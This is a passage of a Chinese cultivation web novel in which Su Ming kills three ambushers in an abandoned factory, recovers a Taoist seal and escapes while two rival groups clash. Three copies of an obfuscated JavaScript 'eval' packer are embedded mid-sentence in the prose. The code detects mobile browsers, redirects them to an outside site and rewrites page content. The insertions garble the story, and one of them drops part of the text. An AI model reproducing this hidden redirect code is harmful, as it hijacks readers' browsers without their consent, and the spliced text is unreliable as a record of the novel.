苏明停下脚步,藏身在一根粗大锈蚀的管道后面,没有立刻上前。灯光照射范围之外,是无边的黑暗和沉默的机器阴影。探测符没有反应,但直觉告诉他,黑暗中有不止一双眼睛在盯着这里。 对方在等,等他踏入灯光下的陷阱。 时间一分一秒过去,离八点只差两分钟。车间里死寂得可怕,只有野营灯轻微的电流声。 就在八点整的瞬间—— “朋友,既然来了,就出来见见吧。货在这儿,钱带了吗?” 一个沙哑、干涩的声音,突兀地从苏明侧前方的黑暗中响起,带着金属摩擦般的质感,在空旷车间里回荡。 不是矮壮男人的声音!是另一个人!而且声音传来的方向,并不在法印旁边,而是在那片黑暗的深处,靠近车间另一侧墙壁的地方。 对方果然不止一人,分散潜伏。 苏明没有立刻回应,也没有动。他在判断对方的位置和人数。 “怎么?怕了?”那沙哑的声音再次响起,带着一丝嘲讽,“求购的胆子挺大,真来了反而怂了?放心,我们只求财。把现金放在灯下,拿起东西走人,两不相干。” 苏明依旧沉默。把现金放过去,自己拿印?对方会这么守信用?恐怕一踏入灯光下,就会成为靶子。而且,那法印是真是假,尚未可知。 “钱,我带了。”苏明终于开口,声音平静,同样在车间里回荡,让人难以判断具体位置,“但总得让我验验货吧?隔着这么远,我怎么知道是真是假?” “呵呵……”沙哑的声音笑了,笑声像夜枭般难听,“规矩懂不懂?这种地下的买卖,哪有让你上手验的?看清楚了,就这个,要就拿走,不要就滚蛋!” 话音未落,苏明布置在侧后方的“环境探测符”,突然传来一阵极其微弱的波动反馈!不是生命气息,而是类似能量扰动的波纹!位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356226|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他身后约二十米,另一堆机器残骸后面!有人!而且屏蔽了生命探测,但行动时还是引发了能量波动! 不止一处!几乎同时,另一个方向,靠近他之前进来的裂缝附近,也传来微弱的能量扰动! 至少三个埋伏点!呈三角之势,将他隐隐围在中间! “朋友,别耍花样了。”沙哑的声音语气转冷,“最后给你十秒钟考虑。放下钱,拿货走。否则这地方荒得很,埋个把人也挺方便。” 威胁之意,昭然若揭。 苏明眼神一冷。对方根本就没打算正经交易,这是黑吃黑的局。目标很可能就是自己这个“求购者”,或是针对任何追查法印下落的人。 他悄悄从口袋摸出一张“火煞符”,扣在掌心。另一只手按在贴身的“神行符”上。 “十。” “九。” 沙哑的声音开始倒计时,语气冰冷,带着猫捉老鼠般的戏谑。 苏明不再犹豫,在对方数到“八”的瞬间,猛地从藏身的管道后冲出!但他没有冲向灯光下的法印,而是朝着侧后方、刚才探测到能量波动的那个机器残骸方向,将手中扣着的“火煞符”全力激发,甩手掷出! “疾!” 赤红的符纸脱手,瞬间化作一道碗口粗细、炽烈无比的火焰箭矢,带着尖锐破空声,直射那堆机器残骸! 与此同时,他脚下“神行符”青光一闪,整个人速度骤然暴涨数倍,如同鬼魅般,朝着与火焰箭矢相反的方向——车间深处那片最浓重的黑暗,疾冲而去! “动手!” 沙哑的声音发出一声厉喝! 几乎在火焰箭矢射中机器残骸、爆开一团火光的瞬间,三道黑影分别从三个方向猛地扑出!其中一道黑影动作极快,险之又险避开爆炸火光,手中寒光一闪,竟是一把淬毒的短刺,直刺苏明原本藏身的位置!另一道黑影从侧翼包抄,手中似乎拿着绳索或套索。第三道黑影,赫然便是那矮壮男人,他手中握着一把改装过的、带消音器的手枪,枪口抬起,但苏明速度太快,又没按预判路线行动,让他第一枪打在了空处,只溅起一串水泥碎屑。 “砰砰砰!” 装了消音器的枪声沉闷响起,子弹追着苏明模糊的身影射入黑暗。 苏明将“踏云步”与“神行符”的效果结合到极致,身形在黑暗中留下一串残影,险之又险避开子弹,同时猛地撞进一堆废弃的铁皮桶后面。 “追!别让他跑了!”沙哑的声音气急败坏。 火光,枪声,追逐的脚步声,瞬间打破了废弃车间死寂的黑暗。 苏明在撞入铁皮桶后的瞬间,已经将第二张、也是最后一张“火煞符”扣在手中,目光冰冷地扫过从三个方向包抄过来的黑影。 狩猎,才刚刚开始。 19. 反杀 “砰!砰!” 子弹擦着锈蚀的铁皮桶边缘飞过,溅起刺目火星。苏明蜷缩在铁桶后,将“敛息术”催发到极致。神行符的效果还剩两分钟左右。 三个敌人已经散开,呈扇形缓缓逼近。矮壮男人在左前,手枪指向铁桶。右前方是拿淬毒短刺的瘦高黑影。正前方,是刚才那个用沙哑声音说话的人,身材中等,看不清脸,手中握着一把寒光闪闪的奇特弯刀,刀身隐隐有暗红色纹路流动。 “朋友,身手不错。”沙哑声音再次响起,“但进了这里,就别想出去了。乖乖把身上的东西都交出来,再告诉我们,是谁派你来查那方印的,或许能留个全尸。” 苏明没有回答。硬拼,一打三,对方有枪,有淬毒兵器,还有那把诡异弯刀,胜算极低。必须先解决最有威胁的枪手! “不出来?”沙哑声音冷哼,“老猫,用‘阴磷砂’逼他出来!” 右前方的瘦高黑影“老猫”立刻从腰间摸出一个小皮袋,朝苏明藏身的铁桶方向猛地一扬! 一片惨绿色的、带着刺鼻腥味的磷粉散开,沾到铁皮和地面,立刻发出“嗤嗤”声响,冒出缕缕青烟,显然有剧毒和腐蚀性!烟雾迅速扩散,眼看就要笼罩苏明的藏身处。 就是现在! 苏明眼中厉色一闪,在毒烟袭来的瞬间,脚下《踏云步》配合残存的神行符效果全力爆发,整个人猛地向左前方——矮壮男人的位置冲去!同时,他手中早已扣着的最后一张“火煞符”并未激发,而是当作暗器,灌注一丝精纯的火焰灵力,抖手射向正准备开第二枪的矮壮男人面门! 矮壮男人大惊,本能地偏头躲避,同时扣动了扳机! “砰!” 子弹打空。而那道包裹火焰灵力的符纸,虽然没有激发成火球,却在擦过矮壮男人耳边时,被他护体的微弱煞气一激,“嗤”地一声,边缘燃起一小簇火花,让他眼前一花,动作一滞。 不到半秒的间隙! 苏明已经冲到矮壮男人面前!矮壮男人虽惊不乱,怒吼一声,另一只空着的手握拳,带着一股阴冷的劲风,直捣苏明胸口!拳风凌厉,显然练过硬功,且带着阴煞之气。 苏明不闪不避,低喝:“金光护身咒!” 嗡!一层凝实的淡金色光罩瞬间笼罩全身!矮壮男人那饱含阴煞之气的一拳,结结实实砸在光罩上! “咚!” 如同敲在铜钟上,发出一声沉闷巨响!金光护罩剧烈晃动,光芒瞬间黯淡大半,但没有破裂!矮壮男人则感觉自己一拳砸在钢板上,反震之力让他手臂发麻,阴煞之气被金光消融不少! “什么?!”矮壮男人眼中露出骇然。 苏明同样不好受,硬接这一拳,冲击力让他气血翻腾,灵力消耗巨大。但他要的就是这一瞬间的震撼和僵直! “死!” 他右手并指如剑,指尖凝聚起最后一丝锋锐的金行灵气,以“踏云步”配合的速度,如同毒蛇吐信,在矮壮男人旧力已尽、新力未生的瞬间,精准无比地点在了他持枪的右手手腕内侧! “咔嚓!” 清晰的骨裂声响起!矮壮男人惨叫一声,手枪脱手飞出。苏明得势不饶人,左手一记灌注了全身剩余大部分灵力的掌刀,狠狠切在他的颈侧! “呃……”矮壮男人双眼翻白,哼都没哼一声,庞大的身躯轰然倒地,溅起一片灰尘。 这一切发生在电光石火之间!总共不过两三秒!等沙哑声音主人和“老猫”反应过来,持枪的同伴已经倒下! “老四!”沙哑声音发出又惊又怒的咆哮,“鼠辈敢尔!” 他和“老猫”几乎同时扑上!弯刀带起一道暗红色的弧光,直劈苏明后颈!老猫的淬毒短刺则悄无声息地刺向苏明腰眼! 苏明刚刚击杀矮壮男人,一口气还没喘匀,两道致命的攻击已到身后!神行符效果将尽,速度开始下降,金光护身咒几乎破碎,灵力也近乎枯竭! 生死一线! 就在这千钧一发之际,苏明丹田内,那因为连番激战、生死压迫而高速运转、早已达到炼气三层巅峰临界点的气旋,猛地一颤,随即如同火山喷发般,轰然膨胀! 一股比之前精纯、浑厚了近倍的新生灵力,如同开闸的洪水,瞬间涌入干涸的经脉!炼气四层,突破! 与此同时,胸口檀木盒中,因为苏明突破而受到微弱气机引动的星髓,也溢出了一丝精纯平和的星辰之力,汇入这新生的灵力洪流中! 苏明精神大振,疲惫一扫而空!他福至心灵,将刚刚突破获得的大半新生灵力,连同那一丝星髓之力,毫无保留地灌注到双腿! “踏云步——云龙三折!” 他身体猛地向下一伏,几乎贴地,险之又险地避过了劈向后颈的弯刀和刺向腰眼的短刺!同时,双腿以一种违反人体力学的诡异角度和频率,在地面、旁边的机器残骸、甚至空气中连续三次不可思议的蹬踏折转! 整个人如同一条滑不留手的泥鳅,又像一道曲折闪烁的龙影,瞬间从两人合击的缝隙中滑了出去,不仅脱离了攻击范围,更是拉开了数米的距离! “什么?!”沙哑声音和老猫的攻击全部落空,两人眼中都露出骇然之色。他们明明感觉到这小子刚才已经力竭,怎么突然间速度、身法变得如此诡异迅捷?气息也强了一截? 苏明落地,微微喘息,但眼神明亮锐利,体内新生的灵力在快速流转。突破到炼气四层,不仅灵力总量和精纯度提升,身体强度、反应速度、乃至对法术的掌控力,都有了全方位的增强。刚才那灵光一现的“云龙三折”,便是“踏云步”在修为突破和生死压力下的精进运用。 “点子扎手!一起上,别给他喘息的机会!”沙哑声音压下心中惊疑,厉声喝道。他和老猫对视一眼,再次扑上。这一次,两人配合更加默契,一左一右,弯刀主攻,短刺偷袭,刀光刺影将苏明所有退路封死。 然而,突破后的苏明,感知和反应已不可同日而语。在“灵目术”的加持下,两人的动作轨迹在他眼中似乎变慢了一丝。他没有硬接,身形晃动,将“踏云步”施展到极致,在狭窄的空间内腾挪闪避,偶尔以灌注灵力的手掌或手臂格挡招架,虽被震得气血翻腾,却总能险之又险地避开致命攻击。 他不再追求一击毙敌,而是利用身法和刚刚突破带来的体力和灵力优势,与两人周旋,同时仔细观察他们的配合套路和破绽。 几个回合下来,沙哑声音和老猫越打越心惊。这小子简直像个泥鳅,滑不留手,而且越打越精神,那层淡金色的护体光罩虽然黯淡,却始终不破,对他们攻击中附带的阴煞之气有很强的克制。 “不能拖了!用‘血煞刀’!”沙哑声音眼中闪过一丝狠厉,猛地咬破舌尖,一口精血喷在手中的暗红弯刀上! “嗡——!” 弯刀发出一声嗜血的嗡鸣,刀身上的暗红纹路骤然亮起,如同活过来的血管,一股浓郁的血腥气和暴戾的煞气冲天而起!刀身周围的空气都微微扭曲。 “老猫,缠住他!”沙哑声音暴喝,双手握刀,一股凛冽的杀意将苏明牢牢锁定。 老猫会意,短刺攻击变得更加疯狂凌厉,不计自身安危,死死缠住苏明。 苏明心中警铃大作!那把弯刀给他的威胁感,远超之前的攻击!绝对不能硬接! 眼看那蕴含恐怖煞气的血色刀光就要劈下,苏明眼中闪过一丝决断。他不再闪避老猫的攻击,反而迎着短刺,猛地撞入老猫怀中!同时,右手食指中指并拢,指尖一点金芒浓缩到极致,带着突破后的全部锐金之气,狠狠点向老猫胸口膻中穴!这是搏命的打法! 老猫没料到苏明如此悍勇,想要变招已来不及,短刺虽然刺中了苏明的左肩(被金光护身咒削弱后,入肉不深),但自己胸口要穴也被苏明一指点中! “噗!” 老猫如遭重击,一口鲜血喷出,眼中神采迅速黯淡,踉跄后退。 而苏明借这一撞之力,身形向侧后方急退,险之又险地避开了沙哑声音那蓄势待发的、恐怖的血色刀光主干。但刀光的边缘余波,依旧扫中了他的右臂。 嗤啦!右臂衣袖瞬间粉碎,皮肤上出现一道深可见骨的伤口,却没有流血,伤口处的皮肉瞬间变得灰败,仿佛被抽干了生机,更有一股冰冷暴戾的煞气顺着伤口疯狂钻入体内, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356227|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直冲心脉! 苏明闷哼一声,脸色瞬间惨白,右臂几乎失去知觉,体内灵力自动运转,与入侵的煞气激烈对抗,剧痛钻心。 沙哑声音见一刀未能竟全功,只伤了苏明手臂,眼中凶光更盛,正要再次挥刀。然而,就在他旧力已去、新力未生的瞬间,苏明猛地抬头,眼中寒光如冰,左手不知何时已从怀中掏出了星髓,毫不犹豫地按在了自己右臂那灰败的伤口上! “啊——!” 星髓接触到那血煞之气的瞬间,爆发出柔和的银白星光!那冰冷暴戾的煞气如同冰雪遇到骄阳,发出“嗤嗤”声响,迅速消融!伤口处灰败的颜色开始消退,剧痛稍减。 “星力?!”沙哑声音看到星髓,瞳孔骤然收缩,失声惊呼,眼中第一次露出了难以置信和贪婪!“你竟然有……” 他的话戛然而止。因为苏明在利用星髓暂时压制住手臂煞气的同时,脚下猛然发力,将剩余的所有灵力灌注双腿,整个人如同出膛的炮弹,不是后退,而是再次前冲!目标直指因为施展“血煞刀”而气息略有紊乱、又因见到星髓而心神失守的沙哑声音! 沙哑声音大惊,仓促间挥刀格挡。但苏明这一次的速度,比刚才更快!他身体一矮,从弯刀下方滑过,左手成爪,指尖金光隐现,一记“金光爪”狠狠抓向沙哑声音持刀的手腕! “咔嚓!” 同样一声脆响,沙哑声音手腕被硬生生抓断!弯刀脱手,哐当落地。 苏明得手不停,右手虽然无力,但左手手肘带着全身的重量和惯性,狠狠撞在沙哑声音的胸口! “砰!” 沙哑声音如同被重型卡车撞中,胸骨塌陷,口喷鲜血夹杂内脏碎片,身体如同破麻袋般倒飞出去,撞在身后的机器上,又软软滑落在地,抽搐两下,再无声息。 车间里瞬间恢复了死寂,只有野营灯依旧散发着冷白的光,照着地上三具或死或昏的身体,以及那方静静躺着的青铜法印。 苏明拄着膝盖,大口喘息,汗水混合血水泥灰从额角滑落。右臂伤口虽然被星髓暂时压制,不再恶化,但依旧疼痛无力,体内灵力近乎枯竭。 但他赢了。在绝境中突破,反杀三人。 他蹒跚着走到野营灯旁,小心地拿起那方青铜法印。入手温凉,沉甸甸的。这一次,在近距离、亲手接触下,他终于清晰地感觉到,这印上确实有吴清风所说的、那种中正平和的、属于正统道门的微弱“呼应”感,虽然很淡,似乎被什么力量隔绝或污染过,但本质不假。 这是真品!吴清风的天师法印! 只是,印身那层绿锈之下,似乎隐约能看到几道极其细微的、暗红色的纹路,像是后来被人强行刻上去的,散发着与刚才那血煞弯刀同源、但更加隐晦阴毒的气息。 “果然被做了手脚……”苏明眼神冰冷。这些人夺走法印,不仅是为了销赃或阻止追查,恐怕还想利用或污染这件正器。 他收起法印,强撑着疲惫伤痛的身体,快速在三个敌人身上搜索。除了武器和一些零钱,在沙哑声音身上找到一部老式按键手机(无卡),在矮壮男人身上找到一个刻着扭曲鬼首的金属牌(似乎是身份标识,与之前得到的破损“鬼首令”图案有几分相似,但简陋)。除此之外,别无他物。 没有时间仔细探查。苏明清理了一下自己留下的明显痕迹,又将野营灯关闭,车间重新陷入黑暗。 他最后看了一眼地上三人,深吸一口气,忍着右臂剧痛和体内的虚弱,转身朝着进来时的墙壁裂缝走去。 必须立刻离开,找个安全地方疗伤,然后联系吴清风。 然而,就在他即将走到裂缝处时,凌虚子急促的声音突然在脑海中响起: “小心!外面有人来了!不止一个!速度很快!” 苏明脚步猛地顿住,心脏沉入谷底。 难道还有埋伏?还是刚才的打斗惊动了其他人? 他立刻闪身躲到一堆废料后面,屏住呼吸,将所剩无几的灵力全部用于运转“敛息术”和“龟息术”,侧耳倾听。 外面,隐约传来了汽车引擎熄灭的声音,和几声刻意压低的、快速接近的脚步声…… 20. 黄雀在后 脚步声在死寂的废弃厂区中显得格外清晰,由远及近,不止一人,而且训练有素,落地轻盈,间隔均匀。 苏明蜷缩在冰冷的废料堆后,右臂伤口被星髓之力暂时压制,但那股阴冷的血煞之气仍在经脉中缓慢侵蚀。体内灵力几乎枯竭。他握紧了最后一张“火煞符”,虽然知道以现在的状态,激发它都可能力不从心。 “至少三人,气息混杂。有两人气血旺盛,步履沉重,应是体修或武者。另一人气息很淡,几乎感觉不到,但更危险。”凌虚子的声音带着凝重,“他们直奔此地而来,目标明确。” 是刚才那三个人的同伙?还是被爆炸、枪声引来的其他人?亦或是……一直在外围监视的“黄雀”? 苏明心念电转。以现在的状态,正面对抗绝无胜算。他飞快扫视周围。身后是厚实的车间墙壁,唯一的裂缝出口已经被来者方向堵住。左右是锈蚀的机器和堆积如山的废料,能暂时藏身,但绝非久留之地。 “仙尊,能判断他们的方位和接近速度吗?” “正从你进来的裂缝方向呈扇形包抄过来,速度不快,很谨慎。距此约三十丈。那气息极淡者居中,似在指挥。” 三十丈,不到百米。留给他的时间不多了。 硬闯不行,躲藏终会被发现。苏明目光落在车间深处,那片最浓重的黑暗,以及……倒在地上的三具身体。一个极其冒险的念头闪过脑海。 “赌一把!” 他忍着右臂剧痛和全身的虚弱,左手撑着地面,以最小动作幅度,快速爬到沙哑声音的尸体旁。他先将那金属牌塞回尸体的内袋,然后迅速剥下对方那件沾血的外套披在自己身上,又将对方的鸭舌帽摘下扣在自己头上,压低压低。 接着,他抓起沙哑声音掉落的暗红弯刀,入手冰凉沉重。他用尽最后力气,将一丝微弱得几乎可以忽略不计的、自己特有的平和灵力逼出指尖,在刀柄上快速抹过,试图暂时“污染”或遮盖刀柄上可能留下的痕迹。 做完这些,他立刻拖着伤体,踉跄着躲到旁边一台巨大、锈蚀的压缩机残骸后面,这里距离沙哑声音的尸体和野营灯有七八米远,恰好处于灯光边缘的阴影中。 他刚刚藏好,车间入口处的裂缝外,手电筒的光柱就扫了进来。 “里面没人回应,血腥味很浓。”一个低沉沙哑的男声传来。 “进去看看,小心点。老狗他们栽了。”另一个略显阴柔的男声道。 光柱晃动,三个人影依次从裂缝处钻了进来。为首一人身材高瘦,穿着黑色冲锋衣,脸上戴着一个没有任何表情的白色笑脸面具,在昏暗的手电光下显得格外诡异。他手里没拿武器,但周身散发着一股令人极不舒服的、粘稠冰冷的气息,正是凌虚子感知中“气息极淡却危险”的那个。 他身后跟着两人。左边是个体格魁梧、满脸横肉的光头壮汉,穿着紧身背心,裸露的手臂肌肉虬结,布满了狰狞的刺青,手里拎着一根粗大的、带着尖刺的合金短棍。右边是个精瘦的刀条脸男人,眼神阴鸷,腰间鼓鼓囊囊,手里也握着一把强光手电。 三人显然训练有素,进入后立刻呈战斗队形散开。手电光很快锁定了倒在野营灯不远处的矮壮男人“老四”和胸口塌陷的沙哑声音“老狗”,以及更远处蜷缩着的老猫。 “老狗!老猫!老四!”刀条脸低呼一声,就想上前查看。 “别动!”面具男突然出声,声音透过面具传出,带着空洞的回响。他抬起手,阻止了刀条脸。 他站在原地,那双隐藏在面具孔洞后的眼睛,如同冰冷的探测器,缓缓扫过整个凶案现场,从尸体,到打斗痕迹,到溅射的血迹,最后落在了苏明藏身的那台压缩机残骸方向,停留了大约一秒。 苏明的心脏几乎停跳。被发现了?不可能!自己的敛息术和龟息术虽然因伤打折扣,但也不是那么容易看破的! 幸好,面具男的目光很快移开了,似乎没有发现异常。他缓步走到沙哑声音“老狗”的尸体旁,蹲下身,仔细查看。他的手在尸体伤口、脖颈、手腕处轻轻触碰,又拿起了掉落在旁边的暗红弯刀,看了看刀身和刀柄。 “血煞刀用了,但没完全激发就被打断了手腕,然后被重手法击碎胸骨致死。”面具男的声音毫无波澜,“对手力量不弱,速度很快,而且……”他顿了顿,手指在刀柄上苏明刚刚抹过的地方轻轻捻了捻,“有一种很奇怪的气息残留,很淡,很干净和血煞气完全相反。有意思。” 他又走到矮壮男人“老四”身边查看:“手腕粉碎性骨折,颈骨断裂,一击毙命。对方指力惊人,且带有破煞的属性?” 最后查看了“老猫”:“膻中穴被点破,阴煞溃散,心脉受损。也是被干净利落的手法解决。” 检查完,面具男站起身,走到那盏被关闭的野营灯旁,看到了地上用红布垫着的、原本放着法印的位置此刻空空如也。 “东西被拿走了。”面具男的声音依旧平静,但周围空气似乎更冷了几分,“对方不仅身手了得,杀了我们三个人,还拿走了‘钥匙’。” “钥匙?”光头壮汉瓮声瓮气地问,“老大,不就是一方有点年头的法印吗?值得这么兴师动众?” “你懂什么!”刀条脸瞪了他一眼,“那法印是开启‘黑水城’地宫外层某个禁制的‘钥匙’之一!‘幽冥道’留下的东西,能是凡品?我们好不容易从吴清风那老家伙手里弄来,还没来得及处理,就被人截胡了!” 黑水城?地宫?钥匙?幽冥道? 躲在暗处的苏明心中剧震!原来如此!天师法印是开启黑水城地宫禁制的“钥匙”!这伙人果然是“影流会”或与“幽冥道”有关!他们夺印并非简单销赃,而是有更深的图谋! “对方受伤了,而且不轻。”面具男突然说道。他走到苏明刚才与“老狗”最后交手、被血煞刀气扫中的地方,那里有几滴颜色暗沉的血迹,以及一些灰败的皮肉碎屑。“血煞气入体,他跑不远。而且……” 面具男缓缓转头,再次看向苏明藏身的压缩机残骸方向,声音里终于带上了一丝冰冷的笑意:“朋友,看够了吗?是自己出来,还是让我们‘请’你出来?” 苏明浑身一僵,血液仿佛瞬间冻结。果然被发现了!对方恐怕早就察觉,之前的检查和分析,是在麻痹他? 怎么办?出去是死,不出去对方三人合围,同样是死。 绝境! 就在苏明思考拼死一搏时,异变再生! “咻!” 一道尖锐到极致的破空声,从车间高高的、破碎的天窗外射入!目标直指站在中央的面具男后心! 那是一根通体乌黑、毫无反光、细如牛毛的长针! 面具男在长针临体的瞬间,身体猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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端枪黑衣人反应极快,听到同伴示警,头也不回,身体猛地向前扑倒,同时冲锋枪调转枪口,朝着头顶方向就是一个短点射! “噗噗噗!” 加了消音器的枪声沉闷。 灰影在空中诡异一折,竟然避开了大部分子弹,只有一发擦过了它的边缘,带起一溜血花。灰影发出一声尖利刺耳的嘶叫,落在了不远处一台机器上,显露身形那是一个身材矮小、四肢着地、穿着灰色紧身衣、脸上也戴着诡异面具的怪人,动作姿态不像人,更像某种猿猴。他肩膀上中了一枪,血流如注,但眼神凶狠。 场面瞬间变得极度混乱危险!李寰宇的人与“影流会”的人对峙,双方各有损伤,剑拔弩张。而苏明,这个最初的目标和“钥匙”的持有者,反而暂时被夹在中间,成了风暴眼中相对被忽略的一点。 但他知道,这只是暂时的。无论哪一方胜出,下一个目标都会是他,和他怀里的天师法印。 他必须趁着这混乱,立刻离开!这是他唯一的机会! 苏明屏住呼吸,用尽最后的意志力,压制住右臂剧痛和体内的虚弱,左手撑地,一点点、一点点地,朝着与双方对峙中心相反的方向车间最深处,那片之前未曾探索过的、更加黑暗的角落,挪动过去。 那里,似乎有一个被巨大油罐阴影彻底覆盖的、更加狭窄的通道,不知通往何处。 也许是死路,也许是一线生机。 21. 归途与暗流 狭窄的通道漆黑、潮湿,弥漫着机油和铁锈的混合怪味。苏明几乎是爬行前进,右臂传来的剧痛和体内血煞之气的侵蚀让他眼前阵阵发黑。他只能咬紧牙关,凭着“灵目术”勉强分辨前方轮廓,用左手和膝盖支撑,一点点向前挪动。 身后的车间里,打斗声、枪声、金属碰撞声、非人的嘶吼声交织成一片混乱的交响。显然,李寰宇的人与“影流会”的残党已经全面开战。这正是他脱身的机会。 通道似乎向下倾斜,坡度不大,但异常漫长。苏明不知道它通向哪里,也许是另一处废弃厂房,也许是地下的污水管网。他不敢停,也不敢回头,只是机械地向前爬。 不知过了多久,前方隐约有风流动,带着些许清凉的、正常的空气。苏明精神一振,加快速度。又爬了几十米,通道开始向上,尽头被几块松动的碎石和腐烂的木板堵着,但有光线从缝隙中透入。 他奋力推开木板,钻了出去。外面是另一座废弃厂房的角落,堆积着大量建筑垃圾,荒草丛生。天色已近黎明,东方泛起鱼肚白。 他辨明方向,这里离油脂厂已有相当一段距离,中间隔着复杂的废弃厂区和一片荒草地。暂时安全了。 苏明靠在冰冷的砖墙上,大口喘息。每一次呼吸都牵扯着胸腹间的闷痛。他立刻盘膝坐下,艰难地从怀中掏出星髓,按在右臂伤口上,同时运转《玄天吐纳真解》残存的法门,引导体内微弱的灵气配合星髓之力,对抗、消融那些阴毒的血煞之气。 这是一个极其痛苦的过程。血煞气如同有生命的毒蛇,在经脉中疯狂逃窜、抵抗,每一次驱散都像是在用钝刀子刮骨。苏明疼得浑身颤抖,冷汗瞬间湿透衣服,牙齿咬得咯咯作响,但他不敢停。 足足半个时辰,当第一缕晨光真正照亮这片废弃之地时,苏明才缓缓睁开眼,长长吐出一口带着淡淡血腥味的浊气。右臂伤口的灰败之色已褪去大半,只留下一个较深的、但已不再散发阴冷气息的伤口。体内肆虐的血煞气也被暂时压制、禁锢在几条次要经脉的角落,虽未根除,但已无法再兴风作浪。 “暂时无碍了。但此煞气已损伤经脉根本,需寻纯阳之物或丹药,方能彻底拔除。”凌虚子的声音透着深深的疲惫,元婴光团也黯淡了许多,“你此次伤及本源,近期绝不可再与人动手,需好生调养。” 苏明点点头,感觉全身像是被掏空,连站起来的力气都没有。他取出之前备下的最后一颗“回春丹”服下,又休息了半个小时,才勉强恢复了些许行动力。 他撕下还算干净的里衣布料,草草包扎了右臂伤口,又脱下染血的外套和帽子(那两件从“老狗”身上扒下的),连同那把暗红弯刀一起,用石头砸弯、破坏特征后,分别扔进了几个相隔甚远的垃圾堆深处。 做完这些,他才辨认方向,朝着最近的、可能有车辆经过的公路蹒跚走去。一路上,他不敢走大路,专挑偏僻的小路和荒地,同时不断运转“敛息术”,让自己看起来像个普通的、遭遇意外的流浪汉。 上午九点多,他终于拦下了一辆运送建筑材料、愿意搭他一程的货车,回到了市区边缘。付了车费(幸好现金和手机没丢),他又换乘公交,绕了几圈,才在中午时分回到出租屋。 锁好门,拉上窗帘,苏明再也支撑不住,一头栽倒在床上,沉沉睡去。 这一睡就到了第二天清晨。醒来后,虽然身体依旧虚弱酸痛,但精神好了很多,体内空虚的丹田在聚灵阵的滋养下,也开始缓缓自行恢复。 他检查了一下天师法印。古印静静躺在桌上,温润的铜质,盘龙印纽,只是那几道暗红色的、后来被刻上去的符纹,在阳光下显得格外刺眼。他尝试用“涤尘术”和微弱的灵力去冲刷,那符纹纹丝不动,反而隐隐传来抵触之意。 “此乃‘秽血封灵纹’,以污秽精血混合阴煞之力刻画,专为污染、压制此类正道法器。你的‘涤尘术’品阶太低,无法撼动。”凌虚子道,“需以纯阳真火或高僧大德的愿力,方可慢慢净化。暂时,就这样吧。” 苏明小心收起法印,然后打开了手机。 有吴清风发来的数条急切询问的短信。他回复了一条:“印已取回,但有损坏。安全后再联系。” 没有透露具体地点和经过。 没有李寰宇那边的消息。通讯器也安静无声。 他登录同城速递的后台,将那个发布“求购法印”信息的影子账号直接注销。然后,他开始处理身上的伤口,用酒精和从药店买来的消毒药品仔细清理、包扎。回春丹只剩最后一颗,他留作了保命之用。 接下来的三天,苏明闭门不出,全力养伤和修炼。聚灵阵和星髓提供了良好的恢复环境,但他能感觉到,经脉中那几处被血煞气侵蚀过的地方,灵气运转时总有滞涩和隐痛,实力大约倒退了接近两成。更麻烦的是,右臂的伤口愈合极慢,而且不时会传来针刺般的阴冷痛楚,提醒他血煞之气的隐患仍在。 “必须尽快找到纯阳之物或丹药。”苏明皱眉。纯阳之物,他第一时间想到了“地火精粹石”,但那是火煞,偏向暴烈,用于驱除阴毒血煞,恐怕会伤上加伤。丹药,他倒是知道“凝气丹”、“清心丹”,但都不是专治煞气入体的。 “或许,可以问问秦守仁,或者……李寰宇。”苏明沉吟。秦守仁人脉广,或许知道门路。李寰宇势力大,资源多,但向他求助,意味着更深的绑定。 就在他权衡时,通讯器震动了一下。 不是电话,是一条加密文字信息:“目标人物已确认死亡(现场发现三具尸体)。‘钥匙’下落?你情况如何?是否需要支援?——吴(代李问)” 是吴师傅代李寰宇发来的询问。他们果然去查看了油脂厂现场,确认了“老狗”三人的死亡,但没找到法印,所以来问他。信息里没提他们与“影流会”另一批人交手的结果,但既然能从容发信息,想必是占了上风。 苏明想了想,回复:“‘钥匙’已安全取回,但受损。我受伤不轻,煞气入体,需纯阳丹药或物品拔除。暂无性命之忧。” 他没有隐瞒伤势,适当示弱,也提出了明确需求。看看对方如何回应。 信息发出后,大约过了半小时,回复来了:“收到。纯阳丹药‘烈阳丹’或‘赤血苓’可解你之厄。前者罕见,后者或可寻。三日内给你答复。保护好‘钥匙’。” 烈阳丹?赤血苓?苏明记下名字。对方没有追问法印细节,反而先提供了治疗方案,这态度让他稍感安心。 “看来,李寰宇对‘钥匙’本身,或许不如对掌握‘钥匙’的人更感兴趣。”凌虚子分析道,“他是在投资你。此次你独力反杀三人,夺回法印,已证明了自己的价值。为你提供疗伤丹药,是进一步的拉拢。” 苏明点点头。合作的基础是互相需要,他现在确实需要对方的资源来疗伤和提升。 他暂时将此事放下,开始盘点此次油脂厂之行的得失。 